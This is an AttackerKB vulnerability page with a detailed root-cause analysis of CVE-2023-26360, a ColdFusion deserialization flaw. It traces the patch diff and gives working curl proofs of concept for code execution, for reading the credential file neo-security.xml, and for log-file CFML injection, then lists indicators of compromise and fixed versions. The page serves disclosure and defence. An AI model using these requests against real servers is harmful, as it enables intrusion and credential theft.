High
CVE-2023-26360
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-26360
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and earlier) are affected by an Improper Access Control vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
Based on writing an exploit and the AttackerKB Analysis, I can confirm the exploitability of this vulnerability is easy and in a default configuration of the target software.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- adobe
Products
- coldfusion 2018,
- coldfusion 2021
Metasploit Modules
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/03/15/cisa-adds-one-known-exploited-vulnerability-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Update #1 – April 3, 2023: Updated analysis to include arbitrary file read as well as unauthenticated remote code execution. Added context around the CVE-2023-26360 and CVE-2023-26359 ambiguity. Added an IOC section.
Update #2 – April 14, 2023: Updated analysis to clarify that this analysis is for the vulnerability CVE-2023-26360 and not CVE-2023-26359. On 12 March 2023, Adobe updated their advisory to re-classify CVE-2023-26360 from an Improper Access Control vulnerability to a Deserialization of Untrusted Data vulnerability. This change, in conjunction with privately reported information regarding CVE-2023-26359, lets us reliably identify the vulnerability described in this analysis as CVE-2023-26360.
Overview
Adobe ColdFusion is a rapid web application development platform. On March 14, 2023, Adobe published an advisory outlining three vulnerabilities that affect ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier. One of the vulnerabilities addressed in this advisory is CVE-2023-26360, a deserialization of untrusted data vulnerability that may lead to arbitrary code execution. This vulnerability has been given a CVSS base score of 9.8 and has a severity rating of Critical.
On March 24, 2023 Rapid7 published a blog highlighting active exploitation of Adobe ColdFusion being detected by Rapid7’s Threat Intelligence and Detection Engineering teams, with occurrences dating back to early January using an unknown vulnerability. This highlights how attackers are actively and consistently targeting ColdFusion, which is a widely deployed platform.
The vulnerability allows an attacker to specify an arbitrary file path to either a Java class, ColdFusion Markup Language (CFML) source file, or an arbitrary non Java file when deserializing the metadata for a TemplateProxy object in the JSONUtils.deserializeJSON
method during a _cfclient
request. An attacker who can plant a malicious Java class or source file in a predictable location under any filename or extension can leverage this vulnerability to achieve arbitrary code execution. In addition an attacker may leverage the same issue to read arbitrary files from the server. Finally, due to how ColdFusion source files are translated, unauthenticated remote code execution is also possible.
This analysis was performed on Adobe ColdFusion 2021 Update 5 (2021.0.05.330109), running on Windows Server 2022.
Throughout the analysis the ColdFusion Component (CFC) endpoint testing.cfc
is used. This endpoint can be replaced with any CFC endpoint an attacker can access, and will depend largely on what web application is installed on top of ColdFusion or how the ColdFusion server is configured. It should be noted that several CFC endpoints are accessible in a default ColdFusion installation even when no third party web application is installed.
Root Cause Analysis
We analyze the patch for this vulnerability by downloading a patched version of ColdFusion 2021, update 6 and a vulnerable version of ColdFusion 2021, update 5. We can decompile both versions using the Java decompiler CFR.
> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 C:\cf2021u5\opt\coldfusion\cfusion\lib\cfusion.jar > java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 --clobber true C:\\cf2021u5\opt\coldfusion\cfusion\lib\updates\chf20210005.jar > java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 C:\\cf2021_u6\opt\coldfusion\cfusion\lib\cfusion.jar > java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 --clobber true C:\\cf2021_u6\opt\coldfusion\cfusion\lib\updates\chf20210006.jar
Inspecting these folders for changes we identify the file JSONUtils.java
as being of interest, and running a git diff
command against the two version of this file will reveal the addition of a variable allowNonCFCDeserialization
which prevents a TemplateProxy
instance being created during a call to coldfusion.runtime.JSONUtils.convertToTemplateProxy
. In addition, the patch also enforces a TemplateProxy to originate from a file name with a .cfc
extension.
diff --git "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java" "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java" index 7bca87f..293fb20 100644 --- "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java" +++ "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java" @@ -96,6 +96,7 @@ public class JSONUtils { public static final String JS_DATE_FORMAT = "MMMMM, dd yyyy HH:mm:ss"; private static final Logger logger = CFLogs.SERVER_LOG; private static Map<Integer, String> SPECIAL_CHAR_MAP; + private static boolean allowNonCFCDeserialization; private static final boolean numberAsDouble; private static boolean returnCaseSensitiveStruct; private static final String CASESENSITIVESTRUCT = "CaseSensitiveStruct"; @@ -1507,6 +1508,9 @@ public class JSONUtils { serverClass = serverClass.substring(contextPath.length()); } File pageFile = new File(context.getRealPath(serverClass, true)); + if (!(!context.isCFClientCall() || allowNonCFCDeserialization || pageFile.exists() && pageFile.getAbsolutePath().endsWith(".cfc"))) { + return null; + } TemplateProxy tp = TemplateProxyFactory.resolveFile((NeoPageContext)context.pageContext, (File)pageFile); Object varObj = s.get("_variables"); Map map = vars = varObj instanceof Array ? null : (Map)varObj; @@ -1678,6 +1682,7 @@ public class JSONUtils { } static { + allowNonCFCDeserialization = Boolean.getBoolean("coldfusion.cfclient.allowNonCfc"); numberAsDouble = Boolean.getBoolean("json.numberasdouble"); returnCaseSensitiveStruct = false; SPECIAL_CHAR_MAP = new HashMap<Integer, String>();
First we must understand why a call to coldfusion.runtime.TemplateProxyFactory.resolveFile
may be unsafe and why the addition of a variable allowNonCFCDeserialization
and a check pageFile.getAbsolutePath().endsWith(".cfc")
was added to prevent exploitation. Then we will identify how an attacker can call this method with attacker controlled data to trigger the issue.
If we inspect convertToTemplateProxy
we can see the parameter s
is a key-value Map structure. This parameter, we will learn, is attacker-controlled. If the map contains a value with the key _metadata
, this metadata value, itself a Map, will be queried for a value with a key of classname
. This classname string will be converted into a file path via a call to coldfusion.filter.FusionContext.getRealPath
. Finally this file path will be passed to coldfusion.runtime.TemplateProxyFactory.resolveFile
. No attempt to sanitize the pageFile
path is performed, allowing a malicious path to an arbitrary file to be specified by an attacker, including the use of the double dot path specifier to navigate beneath the C:\ColdFusion2021\cfusion\wwwroot\
if desired.
private static Map convertToTemplateProxy(Map s) { Map ret = s; try { Object metadata = s.get("_metadata"); FusionContext context = FusionContext.getCurrent(); if (metadata != null) { Map vars; String serverClass = (String)((Map)metadata).get("classname"); String contextPath = context.getRequest().getContextPath(); if (!serverClass.startsWith("/")) { serverClass = serverClass.substring(serverClass.indexOf("//") + 2); serverClass = serverClass.substring(serverClass.indexOf("/") + 1); } if (contextPath != null && !"".equals(contextPath) && serverClass.startsWith(contextPath)) { serverClass = serverClass.substring(contextPath.length()); } File pageFile = new File(context.getRealPath(serverClass, true)); TemplateProxy tp = TemplateProxyFactory.resolveFile(context.pageContext, pageFile); // <---- Object varObj = s.get("_variables"); Map map = vars = varObj instanceof Array ? null : (Map)varObj; if (vars != null) { tp.getVariableScope().putAll(vars); } return tp; } } catch (Throwable throwable) { // empty catch block } return ret; }
A call to resolveFile
wraps a call to resolveName
as shown below. The parameter canonicalResolvedFile
is a File
instance with an attacker controlled path. This path is passed to coldfusion.runtime.TemplateProxyFactory.getCFCInstance
.
static TemplateProxy resolveName(TemplateProxy proxyInstance, NeoPageContext pageContext, File canonicalResolvedFile, String fullName, boolean origCFC, Map initalThisVars, HashSet derivedClasses, boolean initializeCFC) throws Throwable { CfJspPage page; AttributeCollection metadata; ServletContext servletContext = pageContext.getServletContext(); if (fullName != null) { fullName = fullName.replace('/', '.'); if ((fullName = fullName.replace('\\', '.')).startsWith(".")) { fullName = fullName.substring(fullName.indexOf(".") + 1); } } if ((metadata = (AttributeCollection)(page = TemplateProxyFactory.getCFCInstance(servletContext, canonicalResolvedFile, fullName)).getMetadata()).get(Key.PATH) == null && (String)metadata.get(Key.NAME) == "application") { // <---- metadata.put(Key.NEWLY_COMPILED, (Object)"true"); }
In getCFCInstance
we can see the attacker-controlled path is passed to TemplateClassLoader.newInstance
.
private static CfJspPage getCFCInstance(ServletContext servletContext, File canonicalFile, String fullName) throws Exception { CfJspPage page; if (System.getSecurityManager() != null) { page = (CfJspPage)AccessController.doPrivileged(new TemplateClassLoaderPrivilege(servletContext, canonicalFile, null)); if (fullName != null && !fullName.equals(BASE_COMPONENT_NAME)) { if (VFSFileFactory.checkIfVFile(canonicalFile.getPath())) { AccessController.checkPermission(new VFilePermission(canonicalFile.getPath(), "read")); } else { AccessController.checkPermission(new FilePermission(canonicalFile.getPath(), "read")); } } } else { page = TemplateClassLoader.newInstance(servletContext, canonicalFile.getPath(), null); // <---- } return page; }
And in newInstance
we can see the attacker-controlled path is passed to coldfusion.runtime.TemplateClassLoader.findClass
, which will return a Class
instance that represents the loaded class in the Java Virtual Machine (JVM). We can then see an instance of this class is constructed via a call to c.getDeclaredConstructor(new Class[0]).newInstance
.
public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs) throws Exception { return TemplateClassLoader.newInstance(application, realPath, vs, null); // <---- } public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs, LocalScope ls) throws Exception { Class c = TemplateClassLoader.findClass(application, realPath); // <---- if (c == null) { String upperFilePath = realPath.toUpperCase(); if (upperFilePath.endsWith(".CFC")) { throw new CfJspPage.NoSuchTemplateException(realPath); } throw new TemplateNotFoundException(realPath); } Object obj = c.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]); // <----
The method findClass
will try to pull out a Class
instance from a cache called classCache
using the file path as the key.
public static Class findClass(ServletContext application, String realPath) throws IOException { long lastModTime; long compiledTime; if (translator == null) { Class<TemplateClassLoader> clazz = TemplateClassLoader.class; // MONITORENTER : coldfusion.runtime.TemplateClassLoader.class if (translator == null) { translator = new NeoTranslator(application); translator.setSaveClasses(saveClassFiles); runtimeService = ServiceFactory.getRuntimeService(); classCache.setSize(runtimeService.getTemplateCacheSize()); classDir = new File(TemplateClassLoader.translator.outputDir); } // MONITOREXIT : clazz } if (runtimeService.isCommandLineCompile() && (compiledTime = TemplateClassLoader.getLastCompiledTime(realPath)) != (lastModTime = TemplateClassLoader.getLastModifiedTime(realPath))) { classCache.remove(realPath); } Class c = (Class)classCache.get(realPath); // <----
The cache is of type coldfusion.runtime.TemplateClassLoader.TemplateCache
, which inherits from coldfusion.util.SoftCache
. We can see below that if a call to get
returns a null
reference, occurring when a file path is loaded for the first time, then a call to fetch
is performed.
// coldfusion.util.SoftCache public Object get(Object key) { if (this.stats == Stats.FALSE || this.stats == Stats.RUNTIME && !statsEnabled) { return this.get_statsOff(key); // <---- } return this.get_statsOn(key); } private Object get_statsOff(Object key) { Object value; ValueRef ref = this.map.get(key); if (ref != null && (value = ref.get()) != null) { return value instanceof Null ? null : value; } this.reap(); value = this.fetch(key); // <----
fetch
as implemented in TemplateCache
will use the ColdFusion compiler NeoTranslator
to translate the files contents into a Java class via a call to coldfusion.compiler.NeoTranslator.translateJava
.
private static class TemplateCache extends SoftCache { private static TemplateChecker tc = null; final LruCache secondary = new LruCache(){ @Override protected Object fetch(Object file) { try { Class<?> c; Map classBytes; File canonicalFile = (File)file; if (tc != null && !tc.check(canonicalFile)) { return null; } String className = NeoTranslator.getClassName(canonicalFile); byte[] bytes = null; if (saveClassFiles && translator.isNewPage(canonicalFile.getPath())) { long sourceModTime = -1L; try { if (System.getSecurityManager() == null) { bytes = TemplateClassLoader.getClassBytes(className); } else { try { final String tempClassName = className; bytes = (byte[])AccessController.doPrivileged(new PrivilegedExceptionAction(){ public Object run() throws Exception { return TemplateClassLoader.getClassBytes(tempClassName); } }); } catch (PrivilegedActionException e) { throw new IOException(e.getLocalizedMessage()); } } sourceModTime = new ClassReader(bytes).getSourceModTime(); } catch (IOException e) { // empty catch block } if (sourceModTime != -1L) { translator.setSourceLastModified(canonicalFile.getPath(), sourceModTime); } classBytes = translator.translateJava(canonicalFile.getPath(), false); // <---- } else { classBytes = translator.translateJava(canonicalFile.getPath(), true); }
Finally translateJava
will perform one of two operations. If the file to be loaded is a Java Class binary, as identified by inspecting the first four bytes for the magic value 0xCAFEBABE
, then this class file will be loaded. If it is not a class file, the file will be compiled on the fly as source code for a Java ColdFusion component or module.
The root cause of the vulnerability lies in convertToTemplateProxy
. We can see that this vulnerable method is called during coldfusion.runtime.JSONUtils.parseObject
as shown below, which itself is called during JSONUtils.deserializeJSON
. By default deserializeToTemplateProxy
will be false
, so to reach the vulnerable convertToTemplateProxy
method, the HTTP request must be a _cfclient
request in order to satisfy the isCFClientCall
check. A _cfclient
request is identified by having the parameter _cfclient=true
present in the request URL.
private static Object parseObject(ParserState state) { Object cfml; JSONUtils.walkWhitespace(state); switch (state.currentChar()) { case '{': { cfml = JSONUtils.parseStruct(state); FusionContext fc = FusionContext.getCurrent(); CFComparable cfmlStruct = returnCaseSensitiveStruct ? (CaseSensitiveStruct)cfml : (Struct)cfml; if (fc != null && (fc.isCFClientCall() || state.deserializeToTemplateProxy) && cfmlStruct.get("_metadata") != null) { if (returnCaseSensitiveStruct) { cfml = JSONUtils.convertToTemplateProxy((CaseSensitiveStruct)cfml); // <---- break; } cfml = JSONUtils.convertToTemplateProxy((Struct)cfml); // <---- break; }
From reviewing the above we can see that calling JSONUtils.deserializeJSON
with attacker-controlled JSON input during a _cfclient
request will result in an attacker-specified file being instantiated as a Java class after being processed by the NeoTranslator
compiler.
How this vulnerability is exploited depends on what type of file is being translated to a Java class via the NeoTranslator
compiler. There are 3 strategies an attacker may employ:
- An attacker can execute arbitrary code by planting a malicious Java class file on disk. The attacker may provide an arbitrary path to any file on the local file system, and the file may have an arbitrary extension — i.e., it can end in
.txt
,.log
,.xml
or any other extension and does not need to be.cfc
. An attacker will need to leverage a separate technique to plant a malicious file in a predictable location before being able to leverage the vulnerability in this way.
- An attacker can read arbitrary files if the file is not a Java class or CFML source file.
- An attacker may achieve remote code execution by inserting CFML tags into an existing file, such as a log file, and then causing this log file to be translated by the
NeoTranslator
compiler.
All three methods of exploitation are described in detail below.
Triggering the Vulnerability
Searching for calls to the vulnerable JSONUtils.deserializeJSON
method reveals the invoke
method in the coldfusion.filter.ComponentFilter
class. This class is part of a filter chain in the CFCServlet
class. The filter chain is a series of filter classes that process, in sequence, all incoming HTTP requests to ColdFusion Component (CFC) files. The configuration for this servlet is specified in the file C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\web.xml
which contains the following URL pattern mapping.
<servlet-mapping id="coldfusion_mapping_4"> <servlet-name>CFCServlet</servlet-name> <url-pattern>*.cfc</url-pattern> </servlet-mapping> <servlet-mapping id="coldfusion_mapping_18"> <servlet-name>CFCServlet</servlet-name> <url-pattern>*.CFC</url-pattern> </servlet-mapping> <servlet-mapping id="coldfusion_mapping_19"> <servlet-name>CFCServlet</servlet-name> <url-pattern>*.Cfc</url-pattern> </servlet-mapping>
Therefore, an HTTP request to a CFC file on the server will be processed by the ComponentFilter
class.
We can see below in ComponentFilter.invoke
that if a URL parameter called _cfclient
is set to true
, then all further calls to isCFClientCall
will be true
, which is a requirement for triggering the vulnerability in coldfusion.runtime.JSONUtils.parseObject
as previously discussed. The parameters passed in the request are retrieved via FilterUtils.GetArgumentCollection
, and an attacker-controlled parameter _variables
is deserialized via the vulnerable JSONUtils.deserializeJSON
method with attacker-controlled data.
package coldfusion.filter; We can see below that if the URL in the request public class ComponentFilter extends FusionFilter { public void invoke(FusionContext context) throws Throwable { // ... if ((cfClientCall = (String)(urlScope = (UrlScope)context.hiddenScope.get("URL")).get("_cfclient")) != null && Cast._boolean(cfClientCall)) { context.setCfclientCall(true); } Map args = FilterUtils.GetArgumentCollection(context); Struct cloneVars = new Struct(); if (context.isCFClientCall()) { String name; String type; AttributeCollection attr; int i; args.remove("_cfclient"); args.remove("_metadata"); Map vars = (Map)JSONUtils.deserializeJSON(args.remove("_variables")); // <----
PoC – Arbitrary Code Execution
To demonstrate exploitation we will manually plant a malicious Java class in a predictable location with an unassuming file extension, C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp
. As previously discussed, this vulnerability requires the attacker to have this capability either through a separate vulnerability chained with this vulnerability, or by leveraging a web application-specific feature of the target application running on top of ColdFusion.
First we create a simple Java class that will execute Notepad via a static code block.
import java.io.*; public class hax { static { try { Runtime.getRuntime().exec("c:\\windows\\notepad.exe"); } catch(IOException e) { } } }
We can compile this class using javac
and plant it in an expected location with an extension of .tmp
.
C:\ColdFusion2021\jre\bin\javac hax.java copy hax.class C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp
Finally, an HTTP request to a CFC endpoint on the target will load the class.
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true -X POST --data "_variables={\"_metadata\":{\"classname\":\"\\..\\runtime\\work\\Catalina\\localhost\\tmp\\hax.tmp\"},\"_variables\":{}}" -H "Content-Type: application/x-www-form-urlencoded"
Notepad will now execute with local system privileges.
PoC – Arbitrary File Read
We can leverage the vulnerability to read an arbitrary file from the server. When creating a TemplateProxy
instance via TemplateProxyFactory.resolveFile
with an arbitrary attacker-supplied path, if the path points to a file that is neither a Java class file nor a valid source file, the NeoTranslator
compiler will generate a coldfusion.runtime.CFPage
class that emits the entire contents of the file to the pages output stream. This will in turn write the contents of the file to the HTTP responses output stream and will be appended the HTTP responses content data after a successful request completes.
A requirement for leveraging the vulnerability to read an arbitrary file is the attacker must call both a valid CFC endpoint and a valid remote CFC method in order for the HTTP response to contain the output of the arbitrary file to be read. If the CFC endpoint or the CFC method being called is not valid, the response will not include the arbitrary files content, instead only including an error message.
For example, to read the configuration file neo-security.xml
, which will contain ColdFusion usernames and passwords, the following request can be issued:
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"_metadata\":{\"classname\":\"\\..\\lib\\neo-security.xml\",\"_variables\":[]}}"
We can observe that after the request completes, the file neo-security.xml
has been translated into a Java class stored in the folder C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfneo2dsecurity2exml1272981206.class
. This class, when instantiated, emits the files original contents.
If we decompile this class we can see how ColdFusion has generated a new class, inheriting from CFPage
, which in turn will inherit from CfJspPage
, to emit the files original contents (Note: sensitive values have been redacted below).
import coldfusion.runtime.AttributeCollection; import coldfusion.runtime.CFPage; import coldfusion.runtime.CfJspPage; import javax.servlet.jsp.JspWriter; import javax.servlet.jsp.tagext.Tag; public final class cfneo2dsecurity2exml1272981206 extends CFPage { public static final Object metaData = new AttributeCollection(new Object[] { "Functions", new Object[0], "Properties", new Object[0] }); public final Object getMetadata() { return metaData; } protected final Object runPage() { out = ((CfJspPage)this).pageContext.getOut(); parent = ((CfJspPage)this).parent; ((CfJspPage)this).pageContext.setPageEncoding("Cp1252"); out.write("<wddxPacket version='1.0'><header/><data><struct type='coldfusion.server.ConfigMap'><var name='AuthorizedUsers'><struct type='coldfusion.util.FastHashtable'><var name='TestUser'><struct type='java.util.HashMap'><var name='password'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='salt'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='roles'><array length='3'><string>coldfusion.datasources</string><string>coldfusion.administrator</string><string>coldfusion.adminapi</string></array></var><var name='description'><string>test user 1</string></var><var name='sandboxes'><array length='0'></array></var><var name='exposedServices'><array length='1'><string>htmltopdf</string></array></var><var name='username'><string>TestUser</string></var></struct></var></struct></var><var name='admin.userid.root'><string>admin</string></var><var name='CrossSiteScriptPatterns'><struct type='coldfusion.server.ConfigMap'><var name='<\\s*(object|embed|script|applet|meta)'><string><InvalidTag</string></var></struct></var><var name='admin.userid.root.salt'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='rds.enabled'><string>false</string></var><var name='allowconcurrentadminlogin'><boolean value='false'/></var><var name='cfadmin.cookieidentifier'><string>XXXXXXXXXX</string></var><var name='allowedAdminIPList'><string>127.0.0.1</string></var><var name='contexts'><struct type='coldfusion.server.ConfigMap'><var name='/'><struct type='coldfusion.server.ConfigMap'></struct></var></struct></var><var name='admin.security.enabled'><boolean value='true'/></var><var name='admin.userid.required'><boolean value='true'/></var><var name='secureprofile.enabled'><boolean value='true'/></var><var name='rds.security.enabled'><string>true</string></var><var name='sbs.security.enabled'><boolean value='false'/></var><var name='rds.security.usesinglerdspassword'><boolean value='false'/></var></struct></data></wddxPacket>"); return null; } }
We can note the runPage
method must be called for the files contents to be emitted. We have previously seen that coldfusion.runtime.TemplateProxyFactory.getCFCInstance
will create the instance. Subsequently a call to coldfusion.runtime.TemplateProxyFactory.resolveComponentHelper
will call invoke
on the new pages filter chain, which ends with a call to coldfusion.runtime.CfJspPage.invoke
as shown below. This will call runPage
and the contents of the arbitrary file will be emitted to the pages output stream.
package coldfusion.runtime; public abstract class CfJspPage extends FusionFilter implements Metadata, Cloneable { public void invoke(FusionContext context) throws Throwable { String oldPagePath = context.getPagePath(); NeoPageContext oldPageContext = context.pageContext; context.setPagePath(this.getPagePath()); context.pageContext = this.pageContext; try { if (!(this instanceof CFInterface)) { RequestMonitorData rmd = null; if (Configuration.INSTANCE.isCodeProfilerOn()) { rmd = RequestMonitorData.getCurrent(); } CFStack cfStack = null; if (rmd != null) { cfStack = rmd.getCFStack(); } if (cfStack != null) { cfStack.pushStackFrame(this.getPagePath(), null, oldPageContext.getCurrentLineNo(), true); } context.returnValue = this.runPage(); // <----
PoC – Remote Code Execution
We can leverage this vulnerability to achieve unauthenticated remote code execution. We know the NeoTranslator
will translate the contents of an arbitrary file the attacker can specify. And as we have seen above, this can be leveraged to either load a binary Java class or to read the arbitrary contents on a non-Java class or non-ColdFusion Markup Language (CFML) file. However, if we can insert arbitrary CFML tags into an existing file and then translate this file, we can achieve arbitrary remote code execution.
This is possible by performing an HTTP request with data containing arbitrary CFML tags, and in such a way that the contents of this data will be logged to a ColdFusion log file, specifically C:\ColdFusion2021\cfusion\logs\coldfusion-out.log
. If we then translate the coldfusion-out.log
file, we will execute the instructions specified in the arbitrary CFML tags present in the log file. We can achieve the above by providing arbitrary CFML tags inside an invalid JSON object.
For example, in the below request note the first item in the JSON object starts with a <
character and not an expected ”
character.
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={<cfexecute name='c:\windows\notepad.exe'></cfexecute>"
Upon issuing the above request the following error message is written to the coldfusion-out.log
file:
Apr 3, 2023 12:16:26 PM Error [http-nio-8500-exec-7] - JSON parsing failure: Expected '""' at character 2:'<' in {<cfexecute name='c:\windows\notepad.exe'></cfexecute> The specific sequence of files included or processed is: C:\ColdFusion2021\cfusion\wwwroot\testing.cfc''
We can note the CFML tag cfexecute
is now present in the log file. This tag will execute the notepad.exe
application if this CFML is run.
Therefore to run the attacker controlled CFML present in the log file the following request can be made:
curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"_metadata\":{\"classname\":\"\\..\\logs\\coldfusion-out.log\",\"_variables\":[]}}"
Upon processing this request, ColdFusion will translate the log file as CFML and execute the translated Java via the runPage
method of the newly translated class, which in turn will execute notepad.exe
with local system privileges.
The translated log file will be present in the cfclasses
folder under the name cfcoldfusion2dout2elog376354580.class
. If we inspect this class in a decompiler we can see the runPage
method as generated by the NeoTranslator
compiler.
import coldfusion.runtime.AttributeCollection; import coldfusion.runtime.CFPage; import coldfusion.runtime.CfJspPage; import coldfusion.tagext.lang.ExecuteTag; import javax.servlet.jsp.JspWriter; import javax.servlet.jsp.tagext.Tag; public final class cfcoldfusion2dout2elog376354580 extends CFPage { static final Class class$coldfusion$tagext$lang$ExecuteTag = Class.forName("coldfusion.tagext.lang.ExecuteTag"); public static final Object metaData = new AttributeCollection(new Object[] { "Functions", new Object[0], "Properties", new Object[0] }); public final Object getMetadata() { return metaData; } protected final Object runPage() { out = ((CfJspPage)this).pageContext.getOut(); parent = ((CfJspPage)this).parent; ((CfJspPage)this).pageContext.setPageEncoding("Cp1252"); out.write("Apr 3, 2023 12:19:44 PM Information [scheduler-0] - Run Client Storage Purge\r\nApr 3, 2023 12:22:46 PM Error [http-nio-8500-exec-2] - JSON parsing failure: Expected '\"\"' at character 2:'<' in {"); execute0 = (ExecuteTag)_initTag(class$coldfusion$tagext$lang$ExecuteTag, 0, parent); _setCurrentLineNo(2); execute0.setName("c:\\windows\\notepad.exe"); // <---- execute0.hasEndTag(true); try { if ((mode0 = execute0.doStartTag()) != 0) // <---- spawn notepad.exe do { } while (execute0.doAfterBody() != 0); if (execute0.doEndTag() == 5) { t6 = null; execute0.doFinally(); return t6; } execute0.doFinally(); } catch (Throwable throwable) { execute0.doCatch(throwable); execute0.doFinally(); } catch (Throwable throwable) { execute0.doFinally(); throw throwable; } out.write(" The specific sequence of files included or processed is: C:\\ColdFusion2021\\cfusion\\wwwroot\\testing.cfc''\r\n"); return null; } }
If we inspect the implementation of coldfusion.tagext.lang.ExecuteTag.doStartTag
we can see it executes the attacker-supplied command via Runtime.getRuntime().exec
.
It should be noted that the attacker will need to target a valid CFC endpoint (our example above targeted testing.cfc
), but the method being targeted (foo
in our example above) does not need to be a valid CFC function marked for remote access. The method may be an arbitrary value as the vulnerability will be triggered before the method is discovered to be non-existent.
Indicators of Compromise
If the vulnerability has been leveraged to read arbitrary files or perform remote code execution, there may be evidence of this remaining in the cfclasses
folder for the affected ColdFusion installation, e.g., C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses
. This folder is expected to cache classes for compiled CFC or CFM source files.
For example, if the file neo-security.xml
was read, a class file will be in the cfclasses
folder with a name of cfneo2dsecurity2exml1272981206.class
.
If the file coldfusion-out.log
was leveraged during remote code execution, a class file will be in the cfclasses
folder with a name of cfcoldfusion2dout2elog376354580.class
.
Note: The number prepended to the .class
extension is a hash code and may differ depending on the ColdFusion installation.
Examining the cfclasses
folder for files that do not contain 2ecfc
or 2ecfm
may indicate that arbitrary files have been read or remote code execution has been performed. You can examine the decompiled contents of these files to understand the operation that was performed.
It should be noted that the attacker may have deleted these files after a successful compromise.
Guidance
To successfully remediate against this vulnerability the latest updates for ColdFusion should be applied, specifically:
- ColdFusion 2021 Update 6 or later
- ColdFusion 2018 Update 16 or later
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: